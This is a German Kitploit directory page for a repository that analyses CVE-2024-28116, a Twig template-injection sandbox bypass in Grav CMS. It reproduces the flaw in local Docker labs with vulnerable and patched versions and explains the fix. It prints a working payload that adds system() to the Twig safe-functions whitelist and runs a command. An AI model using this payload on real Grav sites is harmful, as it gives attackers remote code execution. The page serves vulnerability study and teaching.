Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
grav-cve-2024-28116 — Analyse und Docker-Reproduktion von CVE-2024-28116 - SSTI mit Sandbox-Bypass in Grav CMS | Kitploit
Tools/GitHubGitHub/bebarossi/grav-cve-2024-28116
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitLernen & BildungLabs & Praxis
GitHubbebarossi/grav-cve-2024-28116

grav-cve-2024-28116

Analyse und Docker-Reproduktion von CVE-2024-28116 - SSTI mit Sandbox-Bypass in Grav CMS

Repository anzeigen
11vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-28116 — SSTI mit Sandbox-Umgehung in Grav CMS

Analyse und Docker-Nachstellung von CVE-2024-28116, einer Server-Side-Template-Injection-Schwachstelle mit Umgehung der Sicherheits-Sandbox in Grav-CMS-Versionen bis einschließlich 1.7.44, behoben in Version 1.7.45.

Gemeldet von: Maurizio Siddu (akabe1)
CVSS-v3.1-Score: 8.8 (Hoch)
Behoben in: Grav CMS 1.7.45


Repository-Struktur

  • vulnerable
    • Dockerfile # Grav CMS 1.7.44 (anfällig)
    • apache.conf # Apache-Konfiguration
  • patched
    • Dockerfile # Grav CMS 1.7.45 (gepatcht)
    • apache.conf # Apache-Konfiguration
  • CVE-2024-28116_Report.pdf

Voraussetzungen

  • Docker Desktop installiert und unter macOS ausgeführt
  • Keine weiteren Abhängigkeiten erforderlich — alles wird im Container installiert

Ausführen der anfälligen Umgebung (Grav 1.7.44)

cd vulnerable
docker build -t grav-vulnerable .
docker run -d -p 8080:80 --name grav-test grav-vulnerable

Öffnen Sie Ihren Browser unter http://localhost:8080/admin und erstellen Sie beim ersten Zugriff ein Administratorkonto.


Reproduktion des Exploits

  1. Erstellen Sie im Admin-Panel ein zweites Benutzerkonto mit ausschließlich Editor-Berechtigungen (Login to Site, Login to Admin und Pages auf Allowed gesetzt — alles andere auf Not set).
  2. Öffnen Sie ein privates Browserfenster und melden Sie sich unter http://localhost:8080/admin als Editor an.
  3. Navigieren Sie zu Pages → Add Page, setzen Sie den Titel auf test page und klicken Sie auf Continue.
  4. Aktivieren Sie im Tab Advanced die Twig-Verarbeitung, indem Sie unter Process sowohl Markdown als auch Twig anhaken.
  5. Fügen Sie im Tab Content den folgenden Payload ein:
{% set arr = {'1':'system', '2':'foo'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_functions', arr)) }}
{{ system('id') }}
  1. Klicken Sie auf Save.
  2. Öffnen Sie einen normalen Browser-Tab und besuchen Sie http://localhost:8080/test-page.
  3. Der Server gibt das vollständige Grav-Konfigurationsobjekt aus und zeigt ganz unten: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Dies bestätigt die Remote Code Execution als Webserver-Benutzer.


Ausführen der gepatchten Umgebung (Grav 1.7.45)

docker stop grav-test
cd ../patched
docker build -t grav-patched .
docker run -d -p 8081:80 --name grav-patched grav-patched

Öffnen Sie Ihren Browser unter http://localhost:8081/admin und wiederholen Sie alle oben genannten Exploit-Schritte, diesmal mit dem Ziel http://localhost:8081/test-page.

Die Seite bleibt vollständig leer. Die Methode cleanDangerousTwig() in Security.php erkennt und blockiert die Direktive twig.safe_functions, bevor sie die Twig-Engine erreicht. Die Whitelist wird nie modifiziert und der Befehl nie ausgeführt.


So funktioniert die Schwachstelle

Die Schwachstelle befindet sich in system/src/Grav/Common/Twig.php. Grav implementiert eine Sandbox, die verhindert, dass gefährliche PHP-Funktionen in Twig-Templates aufgerufen werden. Sie basiert auf einer Blacklist, die von isDangerousFunction() geprüft wird. Die Sandbox schützt jedoch nicht das Twig-Objekt selbst. Ein Benutzer auf Editor-Ebene kann über manipulierte Template-Direktiven mit dem Twig-Objekt interagieren und die Whitelist system.twig.safe_functions zur Laufzeit überschreiben. Sobald eine gefährliche Funktion wie system() zur Whitelist hinzugefügt wird, wird die Sandbox-Prüfung umgangen und die Funktion kann ungehindert ausgeführt werden.


Der Fix

Der Patch fügt 'twig.safe_functions' zur Liste der blockierten Muster innerhalb der Methode cleanDangerousTwig() in system/src/Grav/Common/Security.php hinzu. Jede Direktive, die diese Zeichenkette enthält, wird neutralisiert, bevor sie die Twig-Engine erreicht. Dadurch ist es einem Editor unmöglich, die Whitelist aus einem Template heraus zu modifizieren.

Tool herunterladen